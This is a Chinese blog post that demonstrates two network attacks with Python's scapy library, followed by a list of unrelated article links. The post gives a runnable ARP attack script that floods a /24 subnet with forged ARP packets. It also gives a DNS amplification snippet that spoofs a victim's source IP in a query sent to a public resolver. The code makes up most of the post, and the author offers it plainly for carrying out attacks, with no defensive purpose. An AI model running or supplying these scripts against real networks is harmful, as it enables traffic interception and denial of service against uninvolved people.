Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
python实现图书管理系统
Mar 12 Python
完美解决Pycharm无法导入包的问题 Unresolved reference
May 18 Python
在python中实现强制关闭线程的示例
Jan 22 Python
解决python3.5 正常安装 却不能直接使用Tkinter包的问题
Feb 22 Python
python selenium firefox使用详解
Feb 26 Python
Python去除字符串前后空格的几种方法
Mar 04 Python
Django集成CAS单点登录的方法示例
Jun 10 Python
使用python将mysql数据库的数据转换为json数据的方法
Jul 01 Python
一文了解python 3 字符串格式化 F-string 用法
Mar 04 Python
Python爬虫使用bs4方法实现数据解析
Aug 25 Python
聊聊python中的循环遍历
Sep 07 Python
pandas apply使用多列计算生成新的列实现示例
Feb 24 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
Terran兵种对照表
2020/03/14 星际争霸
Yii框架获取当前controlle和action对应id的方法
2014/12/03 PHP
php不使用copy()函数复制文件的方法
2015/03/13 PHP
php文件缓存类用法实例分析
2015/04/22 PHP
php生成图片验证码的方法
2016/04/15 PHP
使用ltrace工具跟踪PHP库函数调用的方法
2016/04/25 PHP
简单JS代码压缩器
2006/10/12 Javascript
javascript在一段文字中的光标处插入其他文字
2007/08/26 Javascript
img的onload的另类用法
2008/01/10 Javascript
javascript concat数组累加 示例
2009/09/03 Javascript
关于jquery append() html时的小问题的解决方法
2010/12/16 Javascript
基于jquery的拖动布局插件
2011/11/25 Javascript
jQuery插件原来如此简单 jQuery插件的机制及实战
2012/02/07 Javascript
js下拉菜单语言选项简单实现
2013/09/23 Javascript
jQuery动画特效实例教程
2014/08/29 Javascript
JavaScript中的object转换成number或string规则介绍
2014/12/31 Javascript
jQuery实现平滑滚动页面到指定锚点链接的方法
2015/07/15 Javascript
JS实现支持Ajax验证的表单插件
2016/03/24 Javascript
详解Nodejs基于mongoose模块的增删改查的操作
2016/12/21 NodeJs
react native与webview通信的示例代码
2017/09/25 Javascript
基于$.ajax()方法从服务器获取json数据的几种方式总结
2018/01/31 Javascript
爬虫利器Puppeteer实战
2019/01/09 Javascript
浅谈Vue项目骨架屏注入实践
2019/08/05 Javascript
js实现简单掷骰子小游戏
2019/10/24 Javascript
完美解决python中ndarray 默认用科学计数法显示的问题
2018/07/14 Python
浅谈flask源码之请求过程
2018/07/26 Python
Django中ajax发送post请求 报403错误CSRF验证失败解决方案
2019/08/13 Python
Python3 JSON编码解码方法详解
2019/09/06 Python
Pycharm中配置远程Docker运行环境的教程图解
2020/06/11 Python
HTML5 直播疯狂点赞动画实现代码 附源码
2020/04/14 HTML / CSS
函授教育个人学习的自我评价
2013/12/31 职场文书
社团成立邀请函
2014/01/08 职场文书
毕业设计论文评语
2014/12/31 职场文书
《红领巾真好》教学反思
2016/02/16 职场文书
详解JavaScript中Arguments对象用途
2021/08/30 Javascript
JS高级程序设计之class继承重点详解
2022/07/07 Javascript